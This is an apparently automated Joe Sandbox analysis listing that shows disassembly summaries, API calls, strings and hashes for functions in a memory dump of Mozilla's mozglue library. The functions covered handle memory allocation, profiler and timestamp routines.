DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C96605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C9660CC

Strings

GeckoMain, xrefs: 6C965ECE, 6C966015

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction ID: fe2a2cd9137c1a3b352bfc4f8bd3c8f569d5e34e782df34f2a83b2abc3ece42a
Opcode Fuzzy Hash: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction Fuzzy Hash: F871BFB0A09740DFD710DF25C480A6ABBF0BF69308F54496DE48687F92D730E998CB92

Function 6C969590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C953217
Part of subcall function 6C9531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C953236
Part of subcall function 6C9531C0: FreeLibrary.KERNEL32 ref: 6C95324B
Part of subcall function 6C9531C0: __Init_thread_footer.LIBCMT ref: 6C953260
Part of subcall function 6C9531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C95327F
Part of subcall function 6C9531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95328E
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532AB
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532D1
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9532E5
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

NtMapViewOfSection, xrefs: 6C969701
MapViewOfFileNuma2, xrefs: 6C9697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
ntdll.dll, xrefs: 6C9696E3

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction ID: ad7bde9eeb5b4c124e74dcc735da0b360ff8e9eaf5045ce9313fcdfbf664f9e2
Opcode Fuzzy Hash: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction Fuzzy Hash: A361E871608B05DBEF00CF65D885BDA7BB5EB4AB18F218519E915A7BC0D730F884CB91

Function 6C967FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C968007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C96801D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C96802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C96803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C96808D

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C96809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C968133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C968149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C968167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C96817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C968199

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction ID: 65d4232a91dd285b52f2b3a9989be4e44a64ab7fc317eff88c13f0904f252403
Opcode Fuzzy Hash: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction Fuzzy Hash: 8A5196B1E001449BEF10DFA6DC849DFB7B9AF69224F250525E815E7781E730D904CBA2

Function 6C9B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6694
GetThreadId.KERNEL32(?), ref: 6C9B66B1
GetCurrentThreadId.KERNEL32 ref: 6C9B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9B66E1
EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6734
GetCurrentProcess.KERNEL32 ref: 6C9B673A
LeaveCriticalSection.KERNEL32(6C9DF618), ref: 6C9B676C
GetCurrentThread.KERNEL32 ref: 6C9B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9B6868
RtlCaptureContext.NTDLL ref: 6C9B687F

Strings

WalkStack64, xrefs: 6C9B6890

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction ID: 7c12e1498edf45aa59936eb09e11e5efdcb7c3a4f13503f9025c66312e0df1ec
Opcode Fuzzy Hash: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction Fuzzy Hash: 3451BA71A09701AFDB15CF24C884A5BBBF8BF89714F10892DF999A7640D770F948CB92

Function 6C99DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99DE73
GetCurrentThreadId.KERNEL32 ref: 6C99DF7D
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DFC9
GetCurrentThreadId.KERNEL32 ref: 6C99DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C99DE83
<none>, xrefs: 6C99DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C99E00E

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction ID: c88251a2a4174e7d531eee6086474c1a255687f447204ce14e138000e4d58790
Opcode Fuzzy Hash: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction Fuzzy Hash: 9F411632705A119FDB109F64C8497AE7779EB9530DF284019E90AA7F01CB30F855CBE2

Function 6C9AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD52A
GetCurrentThreadId.KERNEL32 ref: 6C9AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD55F
free.MOZGLUE(00000000), ref: 6C9AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD652
GetCurrentThreadId.KERNEL32 ref: 6C9AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD6A2

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction ID: 68bd373f28a8817a722e4300504dce52bd0854999d4ed2a5bf06be0fe8af245e
Opcode Fuzzy Hash: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction Fuzzy Hash: 92516CB1608B05DFC704DF65C484A9ABBB4FF89358F108A2EE95A97710DB30F985CB91

Function 6C975670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C975744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9757BC
GetTickCount64.KERNEL32 ref: 6C9758CB
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9758F3
__aulldiv.LIBCMT ref: 6C975945
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9DF638,?,?,?,?), ref: 6C9759E9

Strings

MOZ_APP_RESTART, xrefs: 6C9756CC

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction ID: bb7ff651eae94081bea50f32eb7a2595acfb432eff971e952c837c617aba6349
Opcode Fuzzy Hash: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction Fuzzy Hash: 39C17B31A0D7449BDB05CF28C44166AB7F1BFDA718F558A1DE8C4A7A60E730E885CB92

Function 6C99EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EC8C

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99ECA1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C99ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99ED19
CloseHandle.KERNEL32(?), ref: 6C99ED28
free.MOZGLUE(00000000), ref: 6C99ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C99EC94

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction ID: 70f63d3fafa89faf754d6faa4af9d2e5a158a95f6ecc2334fac8ed53db4be5fc
Opcode Fuzzy Hash: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction Fuzzy Hash: C121E575604904AFDB009F64DC09A9A3779FB5626DF288210FD18A7B41DB31E845CBF1

Function 6C998ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C95EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C99B392,?,?,00000001), ref: 6C9991F4

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Strings

timeline-memory, xrefs: 6C999088
marker-chart, xrefs: 6C99905E
name, xrefs: 6C998F16
marker-table, xrefs: 6C99906C
stack-chart, xrefs: 6C9990B2
data, xrefs: 6C9990E8
timeline-fileio, xrefs: 6C9990A4
timeline-overview, xrefs: 6C99907A
timeline-ipc, xrefs: 6C999096

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction ID: 618ba5d754fdee7efc7bfc10d229741b723f6b50baf2371298d3e58226ead686
Opcode Fuzzy Hash: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction Fuzzy Hash: 70B1D0B1B012099BDF04CF95C4917AEBBB9BF94318F254019D506ABF80D731EA55CBE2

Function 6C97C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C5A3
WideCharToMultiByte.KERNEL32 ref: 6C97C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C97C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C97CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C97CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C97CAA5

Strings

(null), xrefs: 6C97C596
0, xrefs: 6C97D30A

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction ID: 1e302c6cb67bae7911c58ead7639e4d65c65649c2d40d78be8b09cfda47b0d90
Opcode Fuzzy Hash: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction Fuzzy Hash: FFA1AC3160A342DFDB20DF28C58475ABBF5AF89748F14892DE889D7741DB31E905CBA2

Function 6C97C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C97C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C97C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C97C891

Strings

inf, xrefs: 6C97C78F
nan, xrefs: 6C97C7A8
NAN, xrefs: 6C97C7AD
INF, xrefs: 6C97C794

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction ID: 2f305e3f688d0ed2e8eb71c9c224969827342a6f33d9ce131dc7cd59fbb20936
Opcode Fuzzy Hash: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction Fuzzy Hash: 825181716097408BDB10DF6CC48129AFBF4BF9A304F008A2DE9D5A7651E770D985CB52

Function 6C954480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C994843,?), ref: 6C9545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C994843,?), ref: 6C95468A
free.MOZGLUE(?,?,?,?,?,?,6C994843,?), ref: 6C9546C9
free.MOZGLUE(?), ref: 6C9546EF
free.MOZGLUE(?), ref: 6C954712
free.MOZGLUE(?), ref: 6C954735
free.MOZGLUE(?), ref: 6C954758
free.MOZGLUE(?), ref: 6C95477B
free.MOZGLUE(?), ref: 6C95479E

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
